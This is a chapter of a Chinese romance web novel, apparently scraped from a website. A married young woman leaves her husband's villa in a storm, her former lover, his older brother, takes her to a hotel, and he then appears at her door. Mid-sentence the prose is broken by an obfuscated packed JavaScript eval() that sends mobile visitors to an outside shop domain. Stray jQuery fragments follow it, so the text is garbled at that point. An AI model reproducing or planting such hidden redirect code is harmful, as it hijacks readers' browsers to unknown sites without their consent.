雨是一瞬间倒下来的，黄豆大的雨点打在玻璃窗上发出剧烈的声响，响声震耳欲聋，仿佛在为这场没有硝烟的战争配乐。
骆清没有说话，双手重新插回裤袋里，他知道他留不住她。
或许从来就没有拥有过。
江语涵也没有再说话，背起包，提着行李箱一鼓作气从三楼跑到一楼，又在佣人们惊疑不定的表情里冲出大门。
门外暴雨如注，寸步难行。
她硬着头皮走下台阶，不出两秒钟全身就已被打得湿透。
点开约车软件，价码出到了顶格，附近却没有一个司机响应。
骆家别墅地处京市有名的富人区“雀翠”，虽属市区，却盘踞丘上，有经验的网约车司机都知道住在此地者非富即贵，家中至少有两个以上的司机随时待命着，没有人会傻到在这里找生意。
江语涵原本是想请骆家司机送她去机场的，但现在与骆清闹翻，也不好再麻烦他们了，只能一遍又一遍地刷新着界面，希望能有奇迹出现。
骆清冷眼看着她一路跑到门外，既没有阻止，也没有追赶。他不疾不徐，缓步踱到露台上，视线垂落，将她的狼狈和无助尽收眼底。
她瞒得真好，申请、面签、办护照、一轮又一轮的收件和等待，若没有人在暗中帮忙，这本该至少要两个月的流程怎么可能现在两周不到就已搞定了？
他阴沉地笑起来，手指却在裤袋里冷得发颤。
别墅的车道上，一辆黑色古斯特从后方缓缓驶来，在江语涵身侧停下。副驾的车窗降了半幅，露出一张英挺峻冷的脸，是骆家长子骆沉。
他淡淡瞥了眼早已被淋成落汤鸡的江语涵，黑眸半敛，声音很沉：“上车。”也不等她回应，车窗已然升起，语气不容置喙。
他似乎是有备而来，特意坐在副驾的位置上，把后座的空间留给了她。
江语涵正被雨水打得劈头盖脸，听到骆沉的邀请，立刻拉开车门连人带箱地钻了进去，瞬间将原本宽敞的后座挤满。
车里的暖气已经开到最大，但她浑身淌水，从头到脚都是冰凉的，只几秒钟的功夫，就打了二十多个喷嚏。
“去酒店换身衣服。”骆沉在后视镜里不动声色地看了她一眼。
“我想直接去机场。”江语涵着急道，“我十点四十的航班。”
“改签吧。”骆沉闭上眼，后半句话是吩咐司机老张的，“最近的光曜。”
光曜是国际连锁会员制酒店，在京市共有三家，最近的那家距离雀翠有三十分钟的车程。
江语涵看了眼手机上的时间，还在挣扎：“可是现在才九点半。”
“你还要洗澡换衣服。”
“那就去你家，你家近。”她脱口而出，旋即后悔。
车厢里的气氛突然微妙起来。
老张假装没听到的样子，努力屏住呼吸端坐于驾驶座上，安静如鸡。
骆沉动了动眼皮，但没有睁开，嘴角紧抿着。
他确实有套住处就在雀翠附近，车程不过十来分钟。
这不是秘密，只是去过的人寥寥无几，因为大家都知道他并不好客。
空气中的沉默震耳欲聋。
隔了半晌，他缓缓抬起眼，将脸转向窗外，视线朝上淡声道：“不方便。”
江语涵的脸腾地烧起来，烧到发烫。
她还是没有习惯自己的新身份，她总是忘了现在她已经是他的弟媳了。
为了缓解尴尬，她顺着他的眼神也向上望去。
隔着车窗、隔着雨幕，她看见骆清正懒懒地站在三楼的露台上。
大雨如柱，即使有屋檐遮挡，他也一样被淋得半湿。
可他始终一动不动地站在阴影里，双手插在袋中，像一个沉默的审判者，俯视着车里的众生，俯视着他的大哥和他的新婚妻子。
他的嘴角永远挂着一抹似有若无的残酷的讥诮。
骆沉挑了挑眉，收回视线，再次闭上眼，吩咐老张：“开车吧。”
夜雨瓢泼，车行一路。无人说话，各怀怔忡心事。
一抹潮湿的、离别的、欲语还休的愁绪在车厢里缓缓流动。车窗上蜿蜒流下的雨滴像泪，转瞬又被冲刷，永无休止似的。
三十分钟本该漫长，却也极短。
车开到光曜酒店门前，骆沉指间夹着一张黑卡反手递向江语涵：“709。”
江语涵接过卡，没有下车，似乎还在等着他的下一个举动。
她过去常常这样等着，等着他的安排，等着他的指令，她已经习惯了他为她做各种各样的决定。
但这次他没有再说话。
酒店的门童在车外撑伞等候着。
江语涵支起身体，她有很多话想对他说，但他只留了张淡漠的侧脸给她。最终，她抿了抿唇，什么话都没有说，拿着行李下了车。
古斯特也没作停留，转眼消失在了雨幕里。
*
走到前台，江语涵递上黑卡和身份证。
前台刷了卡，脸上的表情起了些微妙的变化。卡主登记在骆氏集团副总裁骆沉的名下，他在这里有套长租房，最近一次使用是在半年前。
她偷偷打量着眼前这个浑身湿透的女孩，她看上去单薄瘦削，发丝凌乱，但一张被雨水洗涤过的脸清透冷冽，让人有种过目不忘的美。
骆家从未在任何社交平台上公布过骆清与江语涵的婚事，原因很多，譬如江语涵的父亲是经济犯，譬如这场婚姻从头到尾都是利益交换。
前台在这行深耕多年，知道像骆沉这种身份的男人绝不会缺少女人，也最忌讳被人窥探隐私，所以信息登记完毕后，她礼貌又恭敬地将卡递还给江语涵，微笑道：“江小姐，欢迎入住光曜国际。”
*
江语涵浑身湿漉漉地走进709号房，一个客房服务正在隔间的浴缸旁试着水温，桌上有杯姜茶，冒着滚滚热气，显见是刚刚送来的。
水放满后，服务员颔首退出。
房间里的温度调得刚刚好，江语涵将身上里里外外的衣裤都脱了下来，打算喝完姜茶就去泡个澡，反正今晚是无论如何都赶不上飞机了。
窗外的雨势毫不见小，偶尔伴随着几声闷雷。
不知为什么，平时很怕雷声的她，却在这间房里感到了安宁和静谧。
她捧起姜茶喝了两口，辛辣的味道纯正又浓郁，胃里立刻有了暖意。
转过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839014|211581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身，宽阔的套房里陈设豪华，南厅靠窗的位置是一间书房，摆着张黑檀木开屏大书桌，桌上笔墨俱全，在灯光的照射下高级而稳重。
江语涵歪起脑袋，想象着骆沉坐在这张桌后办公的样子，他一定专注又沉默，却会在偶尔抬头之际，对她露出宠溺的笑。
记得那次在他家，她半夜醒来，口渴，当时他正在客厅里开国际视频会议。她不敢惊动他，蹑手蹑脚地去厨房倒了杯橙汁打算回卧室，却被他抬头看到了，向她招了招手，示意她过去。
她摇摇头，指着笔记本电脑的屏幕，但人还是挪了过去，站在镜头外。
骆沉笑笑，在耳机里说了句：“先这样吧，休息五分钟再继续。”旋即合上屏幕，伸臂将她一把捞到自己的腿上，抱住她，“给我喝一口。”
“这样好么？”江语涵坐在他腿上，听话地将杯子递到他嘴边。
“本来也没什么要紧事，只是墨西哥那边有两个方案要我过一下。”骆沉抿了口橙汁，摸了摸江语涵有些粘腻的背，“怎么都是汗？没睡好？”
“嗯，做了个噩梦，吓醒了，起来想喝点凉的。”
骆沉将杯子放在桌上：“半夜喝凉的伤胃，我去给你泡杯热茶。”说着起身。
江语涵按住他：“只有五分钟，确定我们要浪费在泡茶上么？”
“也是。”骆沉吻了吻她唇角，又吸了两下，看着她的脸，“但是开完会我们还有更多的时间。”
“那照你这么说，结婚后我们岂不是天天有时间？”
“嗯，怕了？不想要？”骆沉的手收紧，将她揉进自己的怀中，唇在她的额角、脸颊、下巴四处点落，最后回到她的嘴里狠狠探索。
他的唇很烫，舌尖也是。
像刚刚喝下去的姜茶，辛辣又刺激，还有微秒的甜。
江语涵叹了口气，虚了的视线慢慢凝固，在书桌后停留了片刻，她想，他不会再将她一把捞到腿上、不会再对她宠溺地笑、也不会再给她多余的言语和情绪了。
从此以后他们之间的交流，简明扼要、没有冗余。
就像刚才在车里，他已经连最后一丝温柔都不再给她了。
身份不同，界线也不同。
他为她行使的最后一次特权，是帮她用最快的速度办妥了出国手续。
想到这里，她落寞地放下杯子，向浴缸走去，她现在亟需能裹住她的温暖。
有人在叩门，发出两声轻而闷的声响。
大概又是客房服务。
但江语涵此刻一丝|不挂，无法开门，只好回绝道：“不需要服务，谢谢。”
门外安静了下来，但仅隔五秒钟，叩门声再次响起，这次略显急促。
江语涵有点生气了，迅速从壁橱里拿出件浴衣披在身上，一边系着腰带一边走到门前：“都说了不要服务……”
她打开门，拧眉抬头，却蓦然怔住。
骆沉站在门外，整个人像刚从水里捞出来似的，浑身都在淌水。
而就在十五分钟前，他还是那个坐在劳斯莱斯车里，矜贵体面、寡言疏冷的骆氏集团副总裁。
他注视着江语涵吃惊的脸，狼狈地垂下眸，沉声道：“让我进去。”